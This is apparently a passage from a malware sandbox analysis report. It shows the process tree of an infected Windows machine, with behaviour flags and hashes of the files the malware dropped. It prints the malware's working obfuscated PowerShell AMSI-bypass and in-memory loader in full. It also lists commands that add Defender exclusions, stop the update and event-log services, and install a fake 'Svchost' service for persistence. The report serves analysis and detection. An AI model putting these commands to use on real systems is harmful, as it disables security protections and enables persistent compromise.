+''+[Char](101)+'d');$EgmjrvwJujF.DefineMethod('Inv'+'o'+''+'k'+''+'e'+'',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+'S'+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$VTKWfnGAnR,$kcasSKHByFYUCj).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'ime'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $EgmjrvwJujF.CreateType();}$EgXhsnrieOhXl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+''+'m'+'.dll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+'i'+''+[Char](118)+''+'e'+''+'M'+''+[Char](101)+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$kIuHzpRgSBycid=$EgXhsnrieOhXl.GetMethod('Get'+'P'+''+'r'+''+'o'+''+'c'+''+'A'+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+','+[Char](83)+'t'+'a'+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AbDwsClpwxtsEPkRhxn=LyNzlmVpLhPS @([String])([IntPtr]);$iAgbPahWzJHUkOTysVVaVX=LyNzlmVpLhPS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JCBNqZsGBJS=$EgXhsnrieOhXl.GetMethod('G'+[Char](101)+'t'+[Char](77)+'od'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+'n'+'e'+'l'+''+'3'+'2.d'+'l'+''+[Char](108)+'')));$yEiyMeIBsApuNj=$kIuHzpRgSBycid.Invoke($Null,@([Object]$JCBNqZsGBJS,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$pwysIltuONZqOANKY=$kIuHzpRgSBycid.Invoke($Null,@([Object]$JCBNqZsGBJS,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$WZHYXYx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yEiyMeIBsApuNj,$AbDwsClpwxtsEPkRhxn).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$eQjjPUEiHGifVeaRM=$kIuHzpRgSBycid.Invoke($Null,@([Object]$WZHYXYx,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+'a'+''+[Char](110)+''+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+'r')));$dvTYkqydqu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pwysIltuONZqOANKY,$iAgbPahWzJHUkOTysVVaVX).Invoke($eQjjPUEiHGifVeaRM,[uint32]8,4,[ref]$dvTYkqydqu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eQjjPUEiHGifVeaRM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pwysIltuONZqOANKY,$iAgbPahWzJHUkOTysVVaVX).Invoke($eQjjPUEiHGifVeaRM,[uint32]8,0x20,[ref]$dvTYkqydqu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+'WA'+[Char](82)+'E').GetValue('d'+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2008
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-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hBffiVjAIPyE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NQmBetvkhRirsm,[Parameter(Position=1)][Type]$sfXLliXwrx)$RQRlZMfmnib=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+'m'+'o'+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'e'+[Char](108)+'eg'+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+'a'+'le'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'A'+'u'+'t'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RQRlZMfmnib.DefineConstructor('R'+[Char](84)+''+'S'+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+'N'+'a'+'me'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NQmBetvkhRirsm).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+'m'+'e'+','+'M'+'a'+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$RQRlZMfmnib.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+'k'+'e',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+'l',$sfXLliXwrx,$NQmBetvkhRirsm).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'ag'+'e'+''+[Char](100)+'');Write-Output $RQRlZMfmnib.CreateType();}$kTvpWZTWCOnMt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('Mi'+[Char](99)+''+'r'+''+'o'+''+'s'+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+'n'+'3'+'2'+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$mBzvXTQEebvzrj=$kTvpWZTWCOnMt.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+'S'+[Char](116)+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jVYRanrnlDNdmkSJAxI=hBffiVjAIPyE @([String])([IntPtr]);$tvxbxDFYaUBWqPqyqynflY=hBffiVjAIPyE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cgQYfZHjCqp=$kTvpWZTWCOnMt.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$EaBtwQvXGUBdxz=$mBzvXTQEebvzrj.Invoke($Null,@([Object]$cgQYfZHjCqp,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$GxQHDZGNGWxoSjCVa=$mBzvXTQEebvzrj.Invoke($Null,@([Object]$cgQYfZHjCqp,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$XLrNGzE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EaBtwQvXGUBdxz,$jVYRanrnlDNdmkSJAxI).Invoke(''+'a'+''+'m'+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$VEciEWlcbfdXVBJrO=$mBzvXTQEebvzrj.Invoke($Null,@([Object]$XLrNGzE,[Object](''+'A'+'m'+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+'r')));$BIKBCsYUgF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GxQHDZGNGWxoSjCVa,$tvxbxDFYaUBWqPqyqynflY).Invoke($VEciEWlcbfdXVBJrO,[uint32]8,4,[ref]$BIKBCsYUgF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VEciEWlcbfdXVBJrO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GxQHDZGNGWxoSjCVa,$tvxbxDFYaUBWqPqyqynflY).Invoke($VEciEWlcbfdXVBJrO,[uint32]8,0x20,[ref]$BIKBCsYUgF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+'d'+'ial'+[Char](101)+''+'r'+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3216 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1312
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1484
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1936
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3188
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3196 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5360 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5240
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:6112 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:1900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:3280
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3312
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3512
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:1064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4444
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3220
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1796
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1548
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3576
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:3984
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Svchost"3⤵
- Launches sc.exe
PID:2992
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"3⤵
- Launches sc.exe
PID:4520
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:5740
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Svchost"3⤵
- Launches sc.exe
PID:5816 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4580
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\file.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4540
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:4824
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3540
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3760
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3944
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:4424
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:5992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:5336
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5952
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5288
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:5672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:5732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:5908
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C:\ProgramData\Svchost.exeC:\ProgramData\Svchost.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:1836 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5920 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2540
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:3976
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2308
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1404
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:5636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:4160
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:756 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2932
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2144
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3692
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2380
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1128 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5404
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:5892
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1968
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5420
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4816
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Svchost.exe
- Size 8.4MB
- SHA256 bde92e1dce25cae77e42162c51f9b176586675bf4f0df5fd077bfe675d4259f7
- MD5 3184a2e4511afbf1a1ba6081fab682b3
- SHA1 8917dfb665e6f91f52e167c1a5c70059db538d9e
- SHA512 fc2d9ac816347f2540b5d81d7e06f2d7838c560cb782567d638aea20f00897f559fae5beb7ca2c09d5f411b4f6b8c940e0b9167820401ecc1d6a37aa14893ef3
- SSDEEP 196608:6nULBsTMa7LNrX4Vsvzw1oHhFUGXwjB4TwHbmT8E1u6N:iU1cNri6nheUwkY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sgz3enud.pa5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
- MD5 aa187cac09f051e24146ad549a0f08a6
- SHA1 2ef7fae3652bb838766627fa6584a6e3b5e74ff3
- SHA512 960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0217e1913a09eec1f81cc2d462a00d5fbc8283b186c6d6c94d6f085540d3d9af
- MD5 2624b15fb15001d9a59ba771f3b8b9b8
- SHA1 40d466ffe8ecf9941024a1ef3c9260e6c82910ed
- SHA512 8662fc03d20be28f82faf11702ae2a0bb62ae910b7cd276f8f28bc8813957b8fad2f9c06284b4f867714b9fb215dedef89879e60e2bbb85ad19f2d45a35222a9
- MD5 SHA1 SHA512